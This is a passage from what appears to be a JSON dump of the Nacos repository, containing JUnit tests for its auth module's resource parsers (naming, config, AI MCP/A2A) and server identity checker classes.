     Secured secured = getMethodSecure();\n        Request request = mockOtherRequest(\"testNs\", null, \"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(StringUtils.EMPTY, actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n        assertEquals(NotifySubscriberRequest.class.getSimpleName(), actual.getProperties()\n                .getProperty(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.REQUEST_CLASS));\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutDataIdForNamingRequest() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        AbstractNamingRequest request = mockNamingRequest(\"testNs\", \"testG\", null);\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(StringUtils.EMPTY, actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n        assertEquals(MockNamingRequest.class.getSimpleName(), actual.getProperties()\n                .getProperty(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.REQUEST_CLASS));\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutDataIdForOtherRequest() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Request request = mockOtherRequest(\"testNs\", \"testG\", null);\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(StringUtils.EMPTY, actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n        assertEquals(NotifySubscriberRequest.class.getSimpleName(), actual.getProperties()\n                .getProperty(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.REQUEST_CLASS));\n    }\n    \n    private AbstractNamingRequest mockNamingRequest(String testNs, String testG, String testS) {\n        MockNamingRequest result = new MockNamingRequest();\n        result.setNamespace(testNs);\n        result.setGroupName(testG);\n        result.setServiceName(testS);\n        return result;\n    }\n    \n    private Request mockOtherRequest(String testNs, String testG, String testS) {\n        NotifySubscriberRequest result = new NotifySubscriberRequest();\n        result.setNamespace(testNs);\n        result.setGroupName(testG);\n        result.setServiceName(testS);\n        return result;\n    }\n    \n    private Secured getMethodSecure() throws NoSuchMethodException {\n        StackTraceElement[] traces = new Exception().getStackTrace();\n        StackTraceElement callerElement = traces[1];\n        String methodName = callerElement.getMethodName();\n        Method method = this.getClass().getDeclaredMethod(methodName);\n        return method.getAnnotation(Secured.class);\n    }\n    \n    private class MockNamingRequest extends AbstractNamingRequest {\n    \n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/parser/http/AiHttpResourceParserTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.http;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport jakarta.servlet.http.HttpServletRequest;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.lang.reflect.Method;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass AiHttpResourceParserTest {\n\n    @Mock\n    private HttpServletRequest request;\n\n    private AiHttpResourceParser resourceParser;\n\n    @BeforeEach\n    void setUp() {\n        resourceParser = new AiHttpResourceParser();\n    }\n\n    @Test\n    @Secured(signType = \"ai\")\n    void testParseWithNamespaceId() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(eq(Constants.NAMESPACE_ID))).thenReturn(\"testNs\");\n        when(request.getRequestURI()).thenReturn(\"/ai/mcp\");\n        when(request.getParameter(eq(\"mcpName\"))).thenReturn(\"testMcp\");\n        when(request.getParameterMap()).thenReturn(new HashMap<>());\n\n        Resource actual = resourceParser.parse(request, secured);\n\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(Constants.DEFAULT_GROUP, actual.getGroup());\n        assertEquals(\"testMcp\", actual.getName());\n    }\n\n    @Test\n    @Secured(signType = \"ai\")\n    void testParseWithDefaultNamespace() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(eq(Constants.NAMESPACE_ID))).thenReturn(null);\n        when(request.getRequestURI()).thenReturn(\"/ai/mcp\");\n        when(request.getParameter(eq(\"mcpName\"))).thenReturn(\"testMcp\");\n        when(request.getParameterMap()).thenReturn(new HashMap<>());\n\n        Resource actual = resourceParser.parse(request, secured);\n\n        assertEquals(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, actual.getNamespaceId());\n        assertEquals(Constants.DEFAULT_GROUP, actual.getGroup());\n        assertEquals(\"testMcp\", actual.getName());\n    }\n\n    @Test\n    @Secured(signType = \"ai\")\n    void testParseWithMcpPath() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(eq(Constants.NAMESPACE_ID))).thenReturn(\"testNs\");\n        when(request.getRequestURI()).thenReturn(\"/ai/mcp\");\n        when(request.getParameter(eq(\"mcpName\"))).thenReturn(\"testMcp\");\n        when(request.getParameterMap()).thenReturn(new HashMap<>());\n\n        Resource actual = resourceParser.parse(request, secured);\n\n        assertEquals(\"testMcp\", actual.getName());\n    }\n\n    @Test\n    @Secured(signType = \"ai\")\n    void testParseWithMcpPathWithoutName() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(eq(Constants.NAMESPACE_ID))).thenReturn(\"testNs\");\n        when(request.getRequestURI()).thenReturn(\"/ai/mcp\");\n        when(request.getParameter(eq(\"mcpName\"))).thenReturn(null);\n        when(request.getParameterMap()).thenReturn(new HashMap<>());\n\n        Resource actual = resourceParser.parse(request, secured);\n\n        assertEquals(StringUtils.EMPTY, actual.getName());\n    }\n\n    @Test\n    @Secured(signType = \"ai\")\n    void testParseWithA2aPathWithAgentName() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(eq(Constants.NAMESPACE_ID))).thenReturn(\"testNs\");\n        when(request.getRequestURI()).thenReturn(\"/ai/a2a\");\n        when(request.getParameter(eq(\"agentName\"))).thenReturn(\"testAgent\");\n        when(request.getParameterMap()).thenReturn(new HashMap<>());\n\n        Resource actual = resourceParser.parse(request, secured);\n\n        assertEquals(\"testAgent\", actual.getName());\n    }\n\n    @Test\n    @Secured(signType = \"ai\")\n    void testParseWithA2aPathWithAgentCard() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Map<String, String[]> paramMap = new HashMap<>();\n        paramMap.put(\"agentCard\", new String[] {\"{\\\"name\\\":\\\"cardAgent\\\"}\"});\n        when(request.getParameter(eq(Constants.NAMESPACE_ID))).thenReturn(\"testNs\");\n        when(request.getRequestURI()).thenReturn(\"/ai/a2a\");\n        when(request.getParameter(eq(\"agentCard\"))).thenReturn(\"{\\\"name\\\":\\\"cardAgent\\\"}\");\n        when(request.getParameterMap()).thenReturn(paramMap);\n\n        Resource actual = resourceParser.parse(request, secured);\n\n        assertEquals(\"cardAgent\", actual.getName());\n    }\n\n    @Test\n    @Secured(signType = \"ai\")\n    void testParseWithA2aPathWithInvalidAgentCard() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Map<String, String[]> paramMap = new HashMap<>();\n        paramMap.put(\"agentCard\", new String[] {\"invalid-json\"});\n        when(request.getParameter(eq(Constants.NAMESPACE_ID))).thenReturn(\"testNs\");\n        when(request.getRequestURI()).thenReturn(\"/ai/a2a\");\n        when(request.getParameter(eq(\"agentCard\"))).thenReturn(\"invalid-json\");\n        when(request.getParameterMap()).thenReturn(paramMap);\n\n        Resource actual = resourceParser.parse(request, secured);\n\n        assertEquals(StringUtils.EMPTY, actual.getName());\n    }\n\n    @Test\n    @Secured(signType = \"ai\")\n    void testParseWithUnknownPath() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(eq(Constants.NAMESPACE_ID))).thenReturn(\"testNs\");\n        when(request.getRequestURI()).thenReturn(\"/ai/unknown\");\n        when(request.getParameterMap()).thenReturn(new HashMap<>());\n\n        Resource actual = resourceParser.parse(request, secured);\n\n        assertEquals(StringUtils.EMPTY, actual.getName());\n    }\n\n    @Test\n    @Secured(signType = \"ai\")\n    void testGetProperties() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(eq(Constants.NAMESPACE_ID))).thenReturn(\"testNs\");\n        when(request.getRequestURI()).thenReturn(\"/ai/mcp\");\n        when(request.getParameter(eq(\"mcpName\"))).thenReturn(\"testMcp\");\n        when(request.getParameterMap()).thenReturn(new HashMap<>());\n\n        Resource actual = resourceParser.parse(request, secured);\n\n        assertEquals(1, actual.getProperties().size());\n        assertTrue(actual.getProperties().containsKey(\n                com.alibaba.nacos.plugin.auth.constant.Constants.Resource.ACTION));\n    }\n\n    private Secured getMethodSecure() throws NoSuchMethodException {\n        StackTraceElement[] traces = new Exception().getStackTrace();\n        StackTraceElement callerElement = traces[1];\n        String methodName = callerElement.getMethodName();\n        Method method = this.getClass().getDeclaredMethod(methodName);\n        return method.getAnnotation(Secured.class);\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/parser/http/ConfigHttpResourceParserTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.http;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.lang.reflect.Method;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass ConfigHttpResourceParserTest {\n    \n    @Mock\n    private HttpServletRequest request;\n    \n    private ConfigHttpResourceParser resourceParser;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        resourceParser = new ConfigHttpResourceParser();\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithFullContext() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(\"tenant\"))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(Constants.GROUP))).thenReturn(\"testG\");\n        Mockito.when(request.getParameter(eq(Constants.DATA_ID))).thenReturn(\"testD\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n\n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithNamespaceId() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(\"namespaceId\"))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(Constants.GROUP))).thenReturn(\"testG\");\n        Mockito.when(request.getParameter(eq(Constants.DATA_ID))).thenReturn(\"testD\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n\n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithNamespaceIdFirst() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(\"tenant\"))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(\"namespaceId\"))).thenReturn(\"testNsFirst\");\n        Mockito.when(request.getParameter(eq(Constants.GROUP))).thenReturn(\"testG\");\n        Mockito.when(request.getParameter(eq(Constants.DATA_ID))).thenReturn(\"testD\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNsFirst\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithoutNamespace() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(Constants.GROUP))).thenReturn(\"testG\");\n        Mockito.when(request.getParameter(eq(Constants.DATA_ID))).thenReturn(\"testD\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(Constants.DEFAULT_NAMESPACE_ID, actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithoutGroup() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(\"tenant\"))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(Constants.DATA_ID))).thenReturn(\"testD\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(StringUtils.EMPTY, actual.getGroup());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithoutDataId() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(\"tenant\"))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(Constants.GROUP))).thenReturn(\"testG\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(StringUtils.EMPTY, actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n    \n    private Secured getMethodSecure() throws NoSuchMethodException {\n        StackTraceElement[] traces = new Exception().getStackTrace();\n        StackTraceElement callerElement = traces[1];\n        String methodName = callerElement.getMethodName();\n        Method method = this.getClass().getDeclaredMethod(methodName);\n        return method.getAnnotation(Secured.class);\n    }\n    \n    @Test\n    @Secured(tags = {\"namespaceId:customNsParam\"})\n    void testParseWithSecuredTags() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(\"customNsParam\")).thenReturn(\"tagNs\");\n        \n        String actualNamespaceId = resourceParser.getNamespaceId(request, secured);\n        assertEquals(\"tagNs\", actualNamespaceId);\n    }\n    \n    @Test\n    @Secured(tags = {\"namespaceId:emptyParam\"})\n    void testParseWithSecuredTagsButEmptyParam() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(\"emptyParam\")).thenReturn(StringUtils.EMPTY);\n        when(request.getParameter(Constants.NAMESPACE_ID)).thenReturn(\"defaultNs\");\n        \n        String actualNamespaceId = resourceParser.getNamespaceId(request, secured);\n        assertEquals(\"defaultNs\", actualNamespaceId);\n    }\n    \n    @Test\n    @Secured(tags = {\"invalidTag:param\", \"namespaceId:multiTag\"})\n    void testParseWithMultipleTags() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(\"multiTag\")).thenReturn(\"multiNs\");\n        \n        String actualNamespaceId = resourceParser.getNamespaceId(request, secured);\n        assertEquals(\"multiNs\", actualNamespaceId);\n    }\n    \n    @Test\n    @Secured(tags = {\"namespaceId:splitTag:extra\"})\n    void testParseWithInvalidSplitTag() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(\"splitTag\")).thenReturn(\"splitNs\");\n        \n        String actualNamespaceId = resourceParser.getNamespaceId(request, secured);\n        assertEquals(\"splitNs\", actualNamespaceId);\n    }\n    \n    @Test\n    @Secured(tags = {\"normalTag\"})\n    void testParseWithNoNamespaceTag() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(Constants.NAMESPACE_ID)).thenReturn(\"defaultNs\");\n        \n        String actualNamespaceId = resourceParser.getNamespaceId(request, secured);\n        assertEquals(\"defaultNs\", actualNamespaceId);\n    }\n    \n    @Test\n    @Secured(tags = {\"namespaceId\"})\n    void testParseWithInvalidSplitTag1() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        when(request.getParameter(Constants.NAMESPACE_ID)).thenReturn(\"defaultNs\");\n        \n        String actualNamespaceId = resourceParser.getNamespaceId(request, secured);\n        assertEquals(\"defaultNs\", actualNamespaceId);\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/parser/http/NamingHttpResourceParserTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.http;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.CommonParams;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.lang.reflect.Method;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.eq;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass NamingHttpResourceParserTest {\n    \n    @Mock\n    private HttpServletRequest request;\n    \n    private NamingHttpResourceParser resourceParser;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        resourceParser = new NamingHttpResourceParser();\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithFullContext() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(CommonParams.NAMESPACE_ID))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(CommonParams.GROUP_NAME))).thenReturn(\"testG\");\n        Mockito.when(request.getParameter(eq(CommonParams.SERVICE_NAME))).thenReturn(\"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutNamespace() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(CommonParams.GROUP_NAME))).thenReturn(\"testG\");\n        Mockito.when(request.getParameter(eq(CommonParams.SERVICE_NAME))).thenReturn(\"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(Constants.DEFAULT_NAMESPACE_ID, actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutGroup() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(CommonParams.NAMESPACE_ID))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(CommonParams.SERVICE_NAME))).thenReturn(\"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(Constants.DEFAULT_GROUP, actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithGroupInService() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(CommonParams.NAMESPACE_ID))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(CommonParams.SERVICE_NAME))).thenReturn(\"testG@@testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutService() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(CommonParams.NAMESPACE_ID))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(CommonParams.GROUP_NAME))).thenReturn(\"testG\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(StringUtils.EMPTY, actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutGroupAndService() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(CommonParams.NAMESPACE_ID))).thenReturn(\"testNs\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(StringUtils.EMPTY, actual.getGroup());\n        assertEquals(StringUtils.EMPTY, actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured(tags = {\"testTag\"})\n    void testParseWithTags() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Mockito.when(request.getParameter(eq(CommonParams.NAMESPACE_ID))).thenReturn(\"testNs\");\n        Mockito.when(request.getParameter(eq(CommonParams.GROUP_NAME))).thenReturn(\"testG\");\n        Mockito.when(request.getParameter(eq(CommonParams.SERVICE_NAME))).thenReturn(\"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n        assertTrue(actual.getProperties().containsKey(\"testTag\"));\n    }\n    \n    private Secured getMethodSecure() throws NoSuchMethodException {\n        StackTraceElement[] traces = new Exception().getStackTrace();\n        StackTraceElement callerElement = traces[1];\n        String methodName = callerElement.getMethodName();\n        Method method = this.getClass().getDeclaredMethod(methodName);\n        return method.getAnnotation(Secured.class);\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/serveridentity/ServerIdentityCheckerHolderTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.serveridentity;\n\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.Collection;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertInstanceOf;\n\nclass ServerIdentityCheckerHolderTest {\n    \n    Map<Class<?>, Collection<Class<?>>> servicesMap;\n    \n    private Class<? extends ServerIdentityChecker> cachedCheckerClass;\n    \n    @BeforeEach\n    void setUp() {\n        servicesMap = (Map<Class<?>, Collection<Class<?>>>) ReflectionTestUtils.getField(NacosServiceLoader.class,\n                \"SERVICES\");\n        cachedCheckerClass = (Class<? extends ServerIdentityChecker>) ReflectionTestUtils.getField(\n                ServerIdentityCheckerHolder.getInstance(), \"checkerClass\");\n    }\n    \n    @AfterEach\n    void tearDown() {\n        servicesMap.remove(ServerIdentityChecker.class);\n        ReflectionTestUtils.setField(ServerIdentityCheckerHolder.getInstance(), \"checkerClass\", cachedCheckerClass);\n    }\n    \n    @Test\n    void testConstructorWithSingleImplementation()\n            throws InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {\n        ServerIdentityCheckerHolder holder = getNewHolder(1);\n        assertInstanceOf(MockChecker.class, holder.newChecker());\n    }\n    \n    @Test\n    void testConstructorWithMultipleImplementation()\n            throws InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {\n        ServerIdentityCheckerHolder holder = getNewHolder(2);\n        assertInstanceOf(MockChecker.class, holder.newChecker());\n    }\n    \n    ServerIdentityCheckerHolder getNewHolder(int size)\n            throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {\n        List<Class<?>> classes = new LinkedList<>();\n        for (int i = 0; i < size; i++) {\n            classes.add(MockChecker.class);\n        }\n        servicesMap.put(ServerIdentityChecker.class, classes);\n        Constructor<ServerIdentityCheckerHolder> constructor = ServerIdentityCheckerHolder.class.getDeclaredConstructor();\n        constructor.setAccessible(true);\n        return constructor.newInstance();\n    }\n    \n    public static class MockChecker implements ServerIdentityChecker {\n        \n        @Override\n        public void init(NacosAuthConfig authConfig) {\n        }\n        \n        @Override\n        public ServerIdentityResult check(ServerIdentity serverIdentity, Secured secured) {\n            return ServerIdentityResult.success();\n        }\n    }\n\n    @Test\n    void testNewCheckerWithInvalidClass() {\n        ReflectionTestUtils.setField(ServerIdentityCheckerHolder.getInstance(), \"checkerClass\",\n                ServerIdentityChecker.class);\n        assertInstanceOf(DefaultChecker.class, ServerIdentityCheckerHolder.getInstance().newChecker());\n    }\n}"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/serveridentity/ServerIdentityTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.serveridentity;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ServerIdentityTest {\n    \n    @Test\n    void testGetIdentityKey() {\n        ServerIdentity identity = new ServerIdentity(\"testKey\", \"testValue\");\n        assertEquals(\"testKey\", identity.getIdentityKey());\n    }\n    \n    @Test\n    void testGetIdentityValue() {\n        ServerIdentity identity = new 